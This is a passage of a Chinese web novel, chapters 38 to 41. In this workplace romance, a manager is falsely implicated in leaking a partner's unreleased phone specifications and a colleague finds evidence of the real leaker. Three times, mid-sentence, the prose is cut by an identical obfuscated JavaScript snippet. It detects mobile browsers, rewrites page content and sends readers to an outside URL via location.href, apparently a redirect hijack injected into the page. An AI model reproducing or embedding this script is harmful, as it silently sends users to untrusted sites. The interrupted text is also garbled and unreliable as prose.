乔楠难掩好奇,大略问了问她昨晚的去向,和李既白进展如何,倒没有过多询问内情。 尽管有心理准备,但乔楠听完,还是忍不住翻了个白眼,无语道:“合着我走了这么久,进度还是约等于无呗,反而还退回之前了?谈个恋爱而已,有那么难吗?” “你喜欢我吗?喜欢。那你喜欢我吗?也喜欢。” “啪唧,”她将双手交握,“咱俩好吧。” “看,多简单。” 何筱舟被她自娱自乐般的动作逗笑,弯着唇角,许久没作声。 如果真有这么简单。 * 周一的远程会议进行得还算顺利。 如李既白所说,线上的蔡旬没了近距离探究和观察别人的契机,比平时尖锐不少,但最终还是同意了这一版方案,接下来就是赶研发进度。 新模块涉及处理分析用户操作习惯和机型参数对比两大重点功能,双方邮件来往的频次越来越多,基本都是传递一些测试数据文件,或是典型的案例分析。 研发小组的例会上,何筱舟再次强调涉密文件的处理方式,除了让领航方注明邮件传输的主题和密级之外,内部也要严格把关,研发人员对各自接收的文件内容负责。 她这么谨慎不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042179|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没有原因。 早年知界经历过一桩泄密事件,用户个人信息遭到大批量泄露,对当时公司主营的社区网站板块来说,简直是毁灭性打击。 所以那之后,无论是公司内部的项目,还是客户的项目,在研发过程中都很注重安全性和保密性。 会议结束,李既白按照讨论的细节,给何筱舟发了封邮件,是一份机器详细参数表格。 何筱舟照常下载接收,存入领航名为“机密”的分级文件夹内。 这么一会功夫,任务栏里的微信图标闪了闪。 相隔两天,在回复错人而她并未作出解释之后,李既白第一次发来信息。 他平静地向她说明行程,好像完全不在意那天的事。“桐陵的工作快结束了,我可能周五晚上到津海。” 何筱舟没打算回复,可下一条随即跳了出来。 “当地有家特色茶饮店,这边同事介绍的。招牌是桂花口味的调制茶,想尝尝吗,我用保温杯给你带回去一杯?” 她攥紧手指,关掉窗口,用手机点开。 文字删删改改,她最终回复:不用麻烦了。 “不麻烦,我猜你可能会想喝。” “……只是有点。” “那就是想,周五见。” 无法不承认,隐隐约约的期待像小鱼咕嘟咕嘟吐的泡泡,缓缓从心底浮出水面。 然而,领航一行人的突然到访,让这些晶莹透明的水泡骤然破灭。 蔡旬原定的出差行程延期了,人还在桐陵。 周五一大早,是领航产品部的经理秦越带着孙林一同前来,经过介绍,何筱舟才知道另外一位随行人员是法务。 她心里一沉,冒出不好的预感。 麦克在会议室接见了他们,没有过多寒暄,秦越直说来意。 领航未公开机型的核心参数遭到媒体和许多kol账号提前曝光。 这在科技领域其实是常事,就像某知名手机品牌,来年上市的机型渲染图总是前一年就大肆铺开。 但要命的是,一同泄露的,还有售卖价格。 好巧不巧,领航的竞品公司,忽然把原定的新品发布时间提前到周二,同等参数的产品,价格比领航规定的便宜近500块。 可以想象,领航上上下下为了研发这款产品所付出的精力和心血,几乎要全部付之东流了。 讲完因由,会议桌上的所有人俱沉默下来。 麦克率先打破僵局,“我对贵司的遭遇表示遗憾,关于合作项目如果有什么需要协调的,我们会尽量配合。” 话说得很官方,但跟他的混血面容搭配起来,又莫名让人觉得很合理。 电影里的美式精英都是这种作派。 不过,何筱舟也觉得这件事跟知界关系不大,两家合作项目跟领航的新产品无甚关联,除非领航因为这件事要缩减预算,宁愿损失预付款,终止合同。 可秦越像听到什么笑话一般,轻蔑地嗤笑了声。 “麦克,你以为我们为什么过来?这几天IT部门上上下下查了个遍,只有一封向外发送的邮件,附件里包含参数和价格信息,而收件方……” 他语气不疾不徐,刻意停顿一瞬后,目光投向何筱舟。 “是何总。” 39. 霓虹 何筱舟第一反应是,荒谬。 麦克看向秦越,“直接点吧,您说这话是什么意思?” 秦越似乎就等着他们问出口,委婉道:“我们内部进行过一轮彻底清查,除了那封邮件,没有找到任何蛛丝马迹。当然,如果有其他的可能性,我们也不会贸然过来。” 何筱舟跟麦克对视一眼,在脑中迅速过了一遍合作后的往来邮件。 符合秦越描述的,只有周一开完对接会李既白发来的那封。 她当时检查过内容,附件是领航自成立以来所有公开发布的机型和对应的参数表。 每条数据后都有注明上市年份,最新的一条来源于去年,整张表中没有任何仍处于研发阶段的产品信息。 何筱舟蹙眉,不知道这顶“疑似泄密”的帽子怎么扣过来的。但秦越既然提到,那这份数据肯定是有问题的。 她掐紧指尖,以些微刺痛感让自己镇定下来。 “我的确有收到这封邮件,但是因此推论我和这件事有关,是不是有点牵强?” 秦越旋即抛出新的佐证,“听说何总跟速飞的投资人很熟?” 速飞即是领航的竞争对手。 何筱舟仔细回忆了下,确定已知范围内没有哪个朋友或同学就职于这家公司,便问:“您指的是?” “苏祁。” 如果不是氛围过于严肃,何筱舟很想翻个白眼。 “只是认识而已,普通朋友,有问题吗?” 秦越不置可否,“没问题,我们无意探听何总的个人隐私,今天来只是对这件事做个说明,让双方心里有个数。” “不管基于什么考虑,何总身份敏感,合作可能需要暂停一段时间,等调查清楚之后再行商议。” 麦克送他们离开公司的时候脸色不太好。 除去部门会议例行的工作汇报之外,何筱舟很少单独跟麦克沟通过工作事宜,有点摸不清他的脾气,跟着他进办公室的时候心里不免忐忑。 门关上,他朝她笑笑,示意她坐,“说说想法。” 何筱舟放松了些,一点点分析自己的思考结果。 无非两种可能,巧合,或者是有预谋的刻意陷害甩锅。 她比较倾向于第二种,但实话讲,她现在没有任何头绪,人很难发觉隐匿于身边的危机,更难自证,尤其是需要证明自己没做过某件事。 变故发生得太突然,知界莫名牵连其中,无论是合作,还是调查,都处于被动局面,一时无从下手。 “这样吧,我先跟法务部和舆情部协商,看能否由公司出面派人出面跟领航沟通,尽早把这件事调查清楚。” 单凭这句话,何筱舟判断不出麦克是否相信她。 她强迫自己保持冷静,面色平静地离开办公室。但在临出门前,麦克忽然出声叫住她,“竹晓,冒昧地问一句,你跟那位苏总?” 何筱舟站定回身,“普通朋友。我跟他认识是因为凌霄,凌霄您记得的吧,苏总是她的表弟。” 麦克作思索状,“今年年初离职的余歆然?” “是的。” 麦克朝她扬了扬手,“ok,我了解了。” 之后,何筱舟临时召集下属,开了个短会。 她没有说具体的细节,只传达了与领航合作暂停的通知,接着循惯例安排好其他项目的下周任务。一切推进得有条不紊,好像不久前的风波并未发生过。 但团队成员或许已经听到一些风声,个个面色凝重。 何筱舟目光扫过众人,淡笑着说:“大家这么严肃,让我差点以为时间已经快进到周一了?” 陈曦本身就爱笑,没绷住,噗嗤一声窜出笑音。 气氛稍有和缓,相对而坐的张巍和卢斌不动声色地对视一眼。 何筱舟目光掠过他们,合上电脑,说:“你们不用担心,这件事由我来配合公司的安排就好,不会影响到大家的工作。” “好好享受周末。” 何筱舟表现得很淡定坦然,实则她心里憋着一股轻易撒不出去的邪火。 回家路上,耳机里循环播着节奏感颇强的摇滚歌单,但她整个人是完全放空的状态,素来淡漠的脸上没有一点表情,看起来比平时更加难以接近。 苏祁从后视镜里远远望见人群中一道孤直的身影,踟蹰片刻,下车拦住她的去路。 何筱舟并不意外会在这里看到他,摘下耳机,笑问:“有什么事?” 苏祁直说来意,“我不知道这事会牵连到你。” “所以你真的投资了速飞?也参与了抢先发布产品的决策?”何筱舟语气很和缓,仿佛在问一件与自己无关的事。 苏祁的神情反而凝重起来,“是,但是在这之前,我没想到我们的关系会被拿来做文章,抱歉。” “那你现在知道了。” 何筱舟想了想,微笑着说:“如果我没猜错,你应该知道领航的核心机密产品信息是谁泄露的吧,帮我做个证?以你投资人的身份做这件事,应该不算太难?” 苏祁目光闪躲,踌躇道:“从个人角度来讲,我很愿意帮你,但现在需要拿出足够的证据才足够有说服力,所以我可能,需要先跟公司内部讨论一下。” “理解。不过看样子,贵司的企业文化好像在根本上存在一些原则性问题。” 言尽于此。何筱舟不打算再跟他多说,转身往家的方向走。 两人身位错开,她忽而想到什么,回头认真看着他,“对了,说明一下,我一点儿也不喜欢看话剧。” 眼下的形势,好像很不该笑出来。 李既白隐于路旁的电箱角落,看见男人吃瘪的表情,难以控制地以手抵在唇边弯了弯嘴角。 桐陵的工作比预期结束得早,他飞机落地处理好琐事就赶了过来,没想到竟有意外收获。 还是双倍。 男人今天换了辆车,但比上次那辆轿跑更扎眼,无论怎么样,应该都不至于跟丢。 待车子驶出一段距离后,李既白往新安社区的方向望去一眼,戴好头盔,骑车追了上去。 * 何筱舟坐不住,按照网上查到的信息,又仔细检查了那份表格。结果发现,其中有一条前年的机型数据,参数跟速飞抢先发布的一模一样。 不知是有意还是无意。 可是以合作这段时间,她对李既白的了解来看,他的细心程度不至于会犯这种低级错误。 但如果是故意为之…… 他会吗? 乍然响起的手机铃声将何筱舟从纷乱的思绪中抽离,她看着屏幕上的备注名,数度犹豫,还是按了接听。 “带你去个地方。” “我有点事……” 男生打断她的回绝,态度是少有的强硬,“我知道发生了什么事,我正在想解决办法,你相信我,好吗?” 低沉而富有力量的声音直抵耳畔,让何筱舟茫然无措的心忽地安定下来。 她关掉电脑,心里有了答案。 他不会。 “既然你知道,那你应该明白,这个当口,我们私下里见面不太合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061067|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适。” 李既白好像早就知道她会这么说,“没有人会发现。” “筱筱,我们暂时忘掉外在的身份好吗?我今晚不属于领航,你也不属于知界。” “只是何筱舟跟李既白。” 或许是被他的说法打动,何筱舟低低应了一声。 “好。” “多穿点衣服,我在楼下等你。” 四月初,夜晚的空气里浸满凉意。 何筱舟没多问,依言进卧室找了件厚外套换上,只拿着手机就出了门。 等真正见到他的时候,何筱舟才知晓原因。 男生身侧停着一辆锃黑的摩托车,车型简约又硬朗,而他身上穿了件同色冲锋衣,身形修长,有种很吸睛的英俊感,与这部亮眼的机车适配极了。 何筱舟停在几步开外的位置,惊讶道:“你还会骑这个?” “我考了证的,这是跟季惟借的车。” 李既白似笑非笑地看着她,“怕吗?不然开车去也行。” 何筱舟并未多言,径直走过去,背上他搁在座椅上的背包,扣好头盔,“走吧。” 李既白随即也做好准备,低头在她的头盔上轻轻一磕,声音闷闷的,“出发?” 待他扶稳车身,何筱舟跨坐上去,身体前倾,环住他劲瘦却有力的腰腹。 “如果害怕或者不舒服就掐我,我停下来。” 何筱舟靠在他肩上,作势隔着衣料轻轻拧一把他的侧腰,小声道:“知道了,啰嗦。” 车速并没有很快,李既白开得很温和,完全没有刻板印象中类似场景下的危险驾驶行为。 何筱舟安下心,感受着风从指间穿过的气流感。 她没有问终点在哪,静静地半眯眼睛看身侧迅速后退的风景,看久了神思恍惚,竟冒出一种“如果这条路没有尽头该多好”的念头。 从流光溢彩的都市中心开到空旷荒芜的郊外,道路上的车辆与路人越来越少,视野却变得开阔起来。 李既白最后将车停在了半山腰。 几乎能俯瞰整个津海的视角,霓虹灯光在夜幕之下交汇成星网,串联起城市脉络。 平素穿梭在钢铁丛林中感受到的雄伟与压迫感好像都不复存在,一切成倍缩小,连同情绪也是,变成一缕风,消弭于呼吸间。 “知界在哪个位置呢?” 李既白大致指了个方位,“河边,顶上亮红字的那栋楼,再往那边,对岸,就是你家。” “你家呢?” 李既白低眉看着她,“你找找看?” 何筱舟还真的开始回想,抬手在半空轻挥了下,喃喃道:“原来有这么远。” “不远。” 李既白屈起拇指与食指认真地丈量两地间的距离,隔着那段空隙,朝她眨了眨眼,“就这么远。” 风挟着山间冷冽的空气吹来,令何筱舟鼻腔泛起酸意,“我记得,你好像恐高?” “还好,这里不算太高。” 何筱舟双臂叠趴在围栏上,侧眸懒懒地打量着他,“真的吗?” 俊朗的面孔瞬间闪过不自在的神色,“一定要我说真话吗?” “难道要我告诉你,我现在不仅有点腿软,还心跳加速,跟渝宿看日出那次一样,其实都是在装大尾巴狼?” 何筱舟忍不住,扑哧笑出声。 他实在坦率,坦率到可爱的程度。 何筱舟扭头看向城市灯火,低声道:“我想听你说真话。” “因为我现在想抱抱你,需要一个借口。” 40. 桂花 四野寂静,唯风声呼啸。 何筱舟仍静静趴着,不动声色,好像她只负责抛出饵料,根本不在意他是否会咬钩。 “需要找借口吗?有点多此一举。” 李既白走近一步,手掌拊着她的侧脸,轻轻按在胸口。 下一瞬,他手臂下移,环住她的肩膀,密实地将她圈在身前,也为她挡住寒凉的风。 他的怀抱似有种令人安心的魔力,足够在这一刻让她忘记那桩惹人烦厌的突发事件。 何筱舟搂紧他的腰,阖上眼,几分贪婪地嗅闻他身上仿若能与山野相融的清冽草木气息。 “姐姐。” 他这样叫她,语气并无过分的狎昵,倒像在向她示弱,嗓音含着无奈,“下次你说这样的话之前,能不能先预告一下?” 何筱舟窝在他胸前,闷闷地应了声,“哦。” “你每次突然出现,也没跟我预告。” 李既白反驳,“我这次有提前说。” “对了,”他从背包里取出保温杯,“时间比较久了,口感可能会差一点,尝尝看。” 何筱舟想起他提过的桐陵那家茶饮店,就着他的手抿了一小口。 桂花香气清甜,茶底用龙井搭配醇厚牛乳,味道很淡,却是出乎意料的清爽,没有一点植脂末与香精的甜腻感。 “你还真的带回来了?” “怎么样?”李既白记起不久前旁观的那个场面,顿了顿,重新问,“喜欢吗?” 何筱舟没否认,点了点头,“嗯。很好喝。” 她完全不懂他为什么会突然笑起来,明朗的笑声抵达胸腔,掀起轻微震感。 她微仰起脸,对上他含笑的眉目,一时怔然。 这个人简单纯粹到,仿佛仅仅只是喜欢他赠送的东西,就足够让他感到欣喜。 意识到这一点,何筱舟抿紧唇没说话,只渐渐加重抱着他的力道。 大概没有人会像他们一样,突发奇想深夜上山吹冷风。也因此,在寂寥又空旷的山岭间,这个拥抱持续了很久。 直到远处的都市灯火渐熄,夜幕愈发沉郁。 李既白抚了抚她颈侧微凉的皮肤,轻声说:“回去吧?” 返程路况良好,比来时快很多。 以至于到家时,何筱舟还未能彻底从拥抱熨帖的余韵中抽离。 她摘下头盔,递还给李既白。视线落在他身上,眼神里充斥着她自己都没察觉到的浓重不舍。 李既白看着她,牵唇笑了,故意说:“晚安?” “好。那你……开回去注意安全。” 她转身往院内走。 刚迈出几步,被李既白叫住:“我有点渴了,何筱舟。” “那儿就是便利店。”她顿足,指了指巷口仍亮灯的便利店。 “我冷,想喝热水。” 何筱舟抬头望一眼幽黑的窗口,回绝的意思开始变得含糊,声音也变得轻渺,“出巷子左拐,有家咖啡馆。” 李既白似笑非笑地继续耍赖,“我不想回家以后睡不着觉。” “……” 以前怎么不知道他有这么难搞? 何筱舟觉得他变得无赖,根本不想承认,她有点喜欢,甚至在暗暗期待更多。 “需要提前约法三章吗,比如,喝了水就走?” 何筱舟瞪他,“你再多说一句,等会站门口喝。” 李既白低笑一声,跟在她身后拐进楼道。 楼梯间安静到落针可闻,两人一前一后上楼,刻意放缓脚步,因无法预知将要发生的事而忐忑踟蹰,生怕惊扰了此时短暂的平和。 何筱舟动作极轻地开了门,随手将钥匙一丢。 李既白高估了自己。 起初他只想再跟她待一会,哪怕只是喝杯水的时间。 可当他时隔几个月再次踏足她的领地,过去在这里发生过的一切像扑簌簌的雪花般纷至沓来,他被裹挟,被淹没,几近无法呼吸。 她保留着那个DIY的瓷盘,他第一次来时买的拖鞋也没丢,还有他上次去桐陵带给她的冰箱贴。 …… 何筱舟绕去餐桌前倒水,见李既白换好鞋,立在玄关迟迟不进来,问道:“怎么,真打算站门口喝?” 李既白低眉回避她的目光,“抱歉。” “嗯?”没头没尾的一句,何筱舟感到奇怪。 许久,他抬目望过来,眼眸的颜色深重而晦暗,像深浓夜色下幽邃的山谷。 “我现在不止想喝水。” 何筱舟下意识握紧杯壁,“你还想做……” 李既白已经走过来,双手撑着桌沿,将她围困在他的身体与餐桌之间,“想亲你,可以吗?” 理智告诉她,在泄密事件未得到妥善处理之前,他们属于不同阵营,最好不要将关系弄得更复杂。 但—— 有什么要紧,现在是在她的家里。他说过的,她今晚只是何筱舟。 何筱舟抬手攀住他的臂膀,唇迎上去,轻吮着他的,“刚刚有点遗憾,没有把山上的风声录下来。” 李既白将她抱到桌子上,抵着她的额头,“你觉得今天很值得纪念吗?” “值得的……” 尾音被吞没,消散于唇齿间。 李既白伸指轻挑起她的下巴,一点一点加深这个吻。 轻柔的索取和纠缠,暴烈的掠夺和侵袭,哪种方式更难抵御,何筱舟无法思考了。 她应接不暇地回应他的吻,呼吸愈发沉重。 在演变到难以收场之前,何筱舟及时推开了他。 她斜靠在李既白肩头平复呼吸,看他从背包里依次取出罐装桂花酱、茶饮店自制的桂花元素周边、桂花形制的香薰、摆件。 “你是要把所有跟桂花有关的东西都送给我吗?” 李既白嗓音低哑,照旧问:“你喜欢吗?” 何筱舟轻搡他一把,拒绝回答这个问题。 * 隔天傍晚,何筱舟才知道李既白所说的解决办法是什么。 他们约在了汀兰见面,借用乔楠的露台。 奥斯卡趴在圆桌边晒太阳,时不时呜咽一声,使得氛围变得轻松,一点不像是讨论工作的场合。 “首先是邮件。” “发件人是我没错。但那天,我们开完线上会议之后,我被蔡旬派去给桐陵分部的同事送材料,他催得急,我没来得及锁电脑。” 李既白将屏幕转向她,调出一张数据库后台截图,“他删掉了发送记录,这是公司查出来的。” “所以邮件是蔡旬发给我的?” 这个结果不是特别难消化,何筱舟沉思数秒,蹙眉,“那曝光之后,你是怎么应对你们公司内部盘查的?” “没有应对,桐陵的工作结束后,我直接被通知停职了。” 他云淡风轻,就像是在说一件无关紧要的事。 何筱舟惊愕道:“那你昨天还来找我?不是给别人递把柄吗?” “被牵扯的双方见面商量怎么自证清白,这个理由我认为说得过去。” 何筱舟拧紧眉心,满脸的不赞同。 “我找到了一些证据。” 李既白传给她一则视频,解释道:“昨天我来找你,其实比你那位追求者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075941|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到得早一点。” 说到这,李既白瞟她一眼,却被她瞪回来。 他极短促地笑一声,继续说:“孙林告诉我,蔡旬出差行程结束,回公司后破天荒没有加班,到点就走了。巧合的是,他去的地方,和你那位追……” 何筱舟难以忍受这个称呼,打断他:“他姓苏。” “哦,蔡旬要去的地方,和苏先生是同一个,你们聊完,我听到他打电话了。” 视频记录的即是他们在餐厅包厢碰面的情形,除了蔡旬和苏祁,还有一个男人。 “他是速飞的研发部总监,我们在桐陵的行业大会见过。” 其实原定去桐陵出差的时间只有一周,参加行业峰会,跟分部沟通下半年的营销计划,并不复杂的工作内容,硬是被蔡旬拖延至两周才完成。 何筱舟听完,说:“避嫌的同时,找机会栽赃。” “这个视频应该能证明你是清白的。” 李既白合上电脑,弯下腰摸了摸奥斯卡的脑袋。 “就这样?” 何筱舟见他一副完事了的轻松模样,问道:“你呢?你向公司举证了吗?” “我发给了秦总,他说不太乐观。因为没拍到他们具体的谈话内容,但邮件却切切实实是从我这发出去的,视频证明不了我是完全无辜的。” “不过我想,你的情况不一样,现在领航只是基于你和苏先生的关系推测,没有实证,蔡旬的嫌疑明显要比你大很多。” 何筱舟摇头,“我不能用。” “为什么?” “你本来就被扣了个泄密的锅,这个视频基本上已经把矛盾转移到你们公司内部,而你却私下把视频转给我,你知道意味着什么?” 李既白听出她的言外之意,冷声问:“意味着我跟你关系不菲?” “你冷静点。” 何筱舟面色沉肃地分析,“任何一个领导都不会希望员工跟与己方发生过纠纷的公司勾连,尤其我们部门现在已经申请法务介入调查这件事,这则视频,可能会让你们公司面临新的危机。” “而罪魁祸首,是你。” “无论泄密是否跟你有关,你在领航都很难再有发展。你们秦总,收到视频后应该跟你交代过吧?” 李既白低眉敛神,不置可否。 他伸出手,颓然地搭在她的座椅扶手上,攥紧,用力到指节泛白。 “我没法冷静。” “不管是有意无意,都是因为我,你才被牵连进来。难道现在还要因为我,让你失去证明自己清白的机会吗?” 何筱舟将他的手指一点点分开,轻轻握拢。 “就像你说的,领航只是猜测,没有我泄密的实证,而你们公司现在自顾不暇,更不会追究我,这件事不会对我造成很大的影响。” “可能过段时间就会不了了之。” “但我想帮你。” 李既白摩挲着她的指节,“我不想有任何人指摘你,哪怕是捕风捉影。” “你已经帮到我了,我很久没有像昨天那样放松过了。” “其实我更想帮你解决实质的难题。” 李既白并未被她说服,但还是传来一段音频。 风声猎猎,倏然将她带回那片漆黑的旷野。 “你昨天从我家离开之后,又去了一趟山上吗?” 李既白轻应了声,“你说遗憾。” 实质与虚幻,高山与风。 哪个更重要,没有可供参考的评断标准。 她一直都在追求可见可得的成就和价值,却有人为了弥合她的缺憾,甘愿去捕捉一缕微不足道的风。 41. 落日 这个周末注定不能消停。 翌日,余歆然打来电话,约何筱舟见面,地点定在离市区颇远的一家咖啡馆。 何筱舟赶到时,她面前的杯子已经空了一半。 待她点过单,余歆然直说来意,话里虽没有明确提到苏祁,但显然是知道这件事的。 “我现在可以帮你做些什么?” “如果不是我创业初期需要帮手,常需要你帮忙,你可能也不会认识……” 余歆然噤了声,目光里充满歉意。 “两码事。” 何筱舟并不认为余歆然需要道歉,她完全是局外人,甚至了解到具体情况的渠道,还是知界相熟同事创建的聊天吹水群。 “苏总在那个位置,有他自己的考量,我理解。” “不管最后结果怎么样,我能肯定的是,不会影响咱俩的关系。但后续你公司里的事,我可能帮不上什么大忙了。” “你已经帮到我很多了,按你上次给的建议优化过之后,效果好了很多,”余歆然搓了搓掌心,有些无措,又有些可惜,“你想过最坏的处理结果吗?” 何筱舟笑了笑,“估计就是辞职吧。” “如果之后找工作因为这件事影响背调……” 余歆然说:“别担心,我可以给你兜底。你介意苏祁的话,等公司稳定发展起来之后我会跟他慢慢做切割。” 何筱舟惊愕不已,刚喝下去的水险些呛出来。 “谢谢你的好意,歆然姐。” “但是没必要因为我影响你的布局。假如真的走到那一步,我可能会先休息一阵子,工作上的事我最近有点新想法,需要时间好好考虑之后的发展。” 话说到这份上,余歆然不好再说什么。 “本来苏祁说要追你的时候,我还挺高兴的,没想到他连这点诚意都没有。” 其实很正常,普通人恋爱交友都有轻重取舍,更何况事关行业内两家大企业之间的博弈。 只是如果换作她是决策者,一不会用这种手段与对手竞争,二,即使从中获益,也不会再重用或者维护泄密的人。 但何筱舟未予置评,打个哈哈,轻巧揭过去了。 余歆然要陪孩子上兴趣班,闲聊了没多久就先行离开。 四月的光景,津海柳絮泛滥,惹人烦厌。 去停车场这段路说长不长,说短也不短,何筱舟没戴口罩,只能低垂着脑袋,将下巴隐入风衣领口。 她沿着红青方砖铺就的人行道走,一步步踩在两色交界线之上,砖缝轨迹的颜色深而清晰,渐渐让她的思路也变得明朗起来。 如果不单单是维护,会不会有其他的可能性? 想到这,何筱舟给李既白拨了通电话。 她本意是想问他能不能拿到蔡旬的详细资料,接通的瞬间才记起,他已经被停职了。 “嗨。” 可他的声音听上去仍然清亮,好像从未被风雨波及。 何筱舟后知后觉反应过来这做法欠妥,顿了顿,拙劣地改口:“我打错了。” 李既白还有心情同她开玩笑,揶揄道:“说谎话鼻子会变长。” 何筱舟下意识摸了摸鼻子,轻咳了声,“我……” “我在你家附近。” 李既白默了片刻,“是来找我吗?” 何筱舟想起方才那杯口味独特的饮品,“在这约了人,但我忘记开了车,点了含酒精的饮料。” “噢,所以我在你通讯录里的备注是代驾?” 何筱舟低声问:“那你有空接单吗?” “具体位置,”听筒里滚出笑音,“我上线了。” 何筱舟坐进车里,等他的同时,趁空闲好好整理了下说辞。 可甫一见到他,刚准备好的开场白就忘个干净。 男生穿一件看上去质地很柔软的粗针毛衣,浅米底色与早春时节极其适配,像平白劫掠了一缕柔和的春光披在身上。 尤其是,他怀里还捧着一束郁金香。 “来的时候路过花店。” 何筱舟接过,道了声谢,视线轻飘飘落去他的侧脸。 “有话要跟我说?” 李既白发动车子,驶出停车场的时候这么问了一句。 “明天周一,你们公司有没有通知你什么时候可以回去上班?” “没有,事情还没调查清楚呢。” “如果……” 何筱舟轻轻摩挲着花束的根部,将雪梨纸揉出碎响,“我是说如果,最后都没找到实证,这件事要你来背锅,你后面有什么打算?” 李既白没有犹豫,“换工作。” “你应该知道大部分企业在招聘的时候都会有背调的流程?” 红灯,李既白将车刹停,轻嗯了一声。 何筱舟看着他,说:“我在想办法找人帮忙,在拿到更切实的证据之前,你不要轻举妄动。” “找那位苏先生?” 李既白凉凉瞥来一眼,“那我宁愿现在就辞职。” 车厢内静默下来。 信号灯转绿的一瞬,何筱舟率先开口:“我还不至于去‘投敌’,总之,你不要轻举妄动。” 她重复了一遍,刻意到让李既白疑惑,“怎么叫轻举妄动?” “比如拿着现有的视频直接到我公司帮我澄清。” 李既白抿了抿唇,表情有一丝崩坏,是轻易被人戳穿的尴尬。 何筱舟就知道昨天她的话未能彻底将他劝服。 “我不是说教,因为你的职业生涯刚刚开始,不管这份工作是否符合你的预期和规划,都不能以这种方式结束,所以这件事绝对不可以含糊过去。” “我们一定能找到更妥善的解决办法。” 她性子由来淡漠,处理任何事都有种置身事外的云淡风轻感,此时的神情,却是他从未见过的严肃。 李既白只来得及匆匆看她一眼就收回目光。 视线范围内尽是前方疾行的车辆,他屈指握紧方向盘,努力遏制住心头涌动的异样情愫。 过去他用了很长时间说服自己,万事万物都只是从生命中经过,如流水一般不留痕迹。 他习惯将自己置于备选位置,不强求以后,更不奢望有谁会在他的世界永久滞留。 起初他没考虑过结果,只希望和她的关系能维系得久一点,可现在,他清楚自己真正想要拥有的,绝非只是和她的当下。 许久,李既白沉声回应,“好。我听你的。” * 工作一切照旧,只是多了些含义不明的目光。 落在身上,苍蝇似的,莫名带着点讨人厌的嗡嗡声,就像那些目光背后的闲言碎语真真切切钻进了耳朵里。 何筱舟不以为意,但下班时间比平时早了点,腾出功夫去查蔡旬和速飞之间的瓜葛。 信息时代,在网络世界里找出点蛛丝马迹并不太难。有针对性地关注了几个频繁与领航官号互动的大V后,系统便开始给她推荐相关用户。 很精准的,其中一个是蔡旬。 点进主页,竟看到好友已关注此账号的提示。 ID很眼熟,是大学时的室友,陶温言。 当年宿舍是混专业住,跟何筱舟同班的两个女生毕业后去了海外求学,如今都留在了国外,饶是当初再怎么同进同出,也慢慢淡了联系。 只有机械工程院的陶温言,她们时不时打电话问候一下彼此,逢节日还会互寄礼物。 上次聊天是过年那段时间,再热络起来很容易。 但是追星八卦这方面何筱舟并不擅长,靠着查黑话攀谈近半小时,终于有机会问正事。 蔡旬是陶温言读研的师兄,跟一位叫任旭的同门曾共同设计研发过一款产品,在当年算是比较超前的概念,但两人没有能力往更深层推进,最后只能将创意卖给了一家公司。 正是速飞。 而任旭毕业后入职速飞,现在做到了研发部的总监。何筱舟看了照片,即是李既白拍到那段视频里,和蔡旬、苏祁在餐厅见面的男人。 这样算来,不单是利益,应该还有革命友谊在。 更多的,陶温言也不知情了,但总的来说很有收获,顺着这条线应该能查出点东西来。 可何筱舟还没来得及道谢,先被她紧接着挑起的话题激得心头一凉。 “舟儿,你猜我上周在工体碰着谁了?” “侯宗义!拐弯抹角跟我打听你呢,问你这些年又谈过男朋友没有,结没结婚。” 这个名字许久未有人提起,忽然出现在眼前,就像平静的井面跌进一块巨石,惊溅起翻涌的水花,也挡覆住照进井里的天光。 “你怎么说?” “我说,关你丫屁事。” 何筱舟长长吐息,聚在胸口的浊气一下子散了。 “谢谢言言,我爽了,”她手指快速敲字,像着急揭过这篇似的,“咱哥的新专辑跟周边,我都包了。” 陶温言回了一长串的“哈哈哈”,许是觉得她难得这么热情,不免多说了几句。 “我就是替你不平。” “当初谁又能想到会发生那种意外呢,林湛突然离开,明明你是最难过的人,还得莫名其妙承受侯宗义的指责,他凭什么?” 旧事重提,何筱舟一时怔住。 她未曾预料到的,时隔这么久还会轻易因为旁人的无心之言而顿感怅然若失。 对话窗口暂时沉寂下来。 两分钟,不长不短的时间,不会让对方生疑,以至于转头怀疑自己哪句话没说对。 何筱舟便在这短暂的停顿中理好思绪。她低眉敛着神色,神情很冷,敲出的字却带点开玩笑的意思。 “可能他丫的就喜欢掺和跟自己无关的屁事。” * 但,爱管别人屁事的可不止侯宗义。 又一个周五,高层会议结束后,麦克的助理发信息通知何筱舟,一个小时后有时间听汇报。 团队接到新项目,为一家新能源车企搭建操作后台和知识平台,何筱舟根据需求做好前期准备,要给麦克展示研发计划。 何筱舟提前五分钟等在麦克办公室门口,谁料,从里面出来一个无论如何也不该在这里的人。 还是上次见面时的那件毛衣,被走廊顶部可被称为惨白的灯光一照,冷清感取代柔和,有点说不出的寥落。 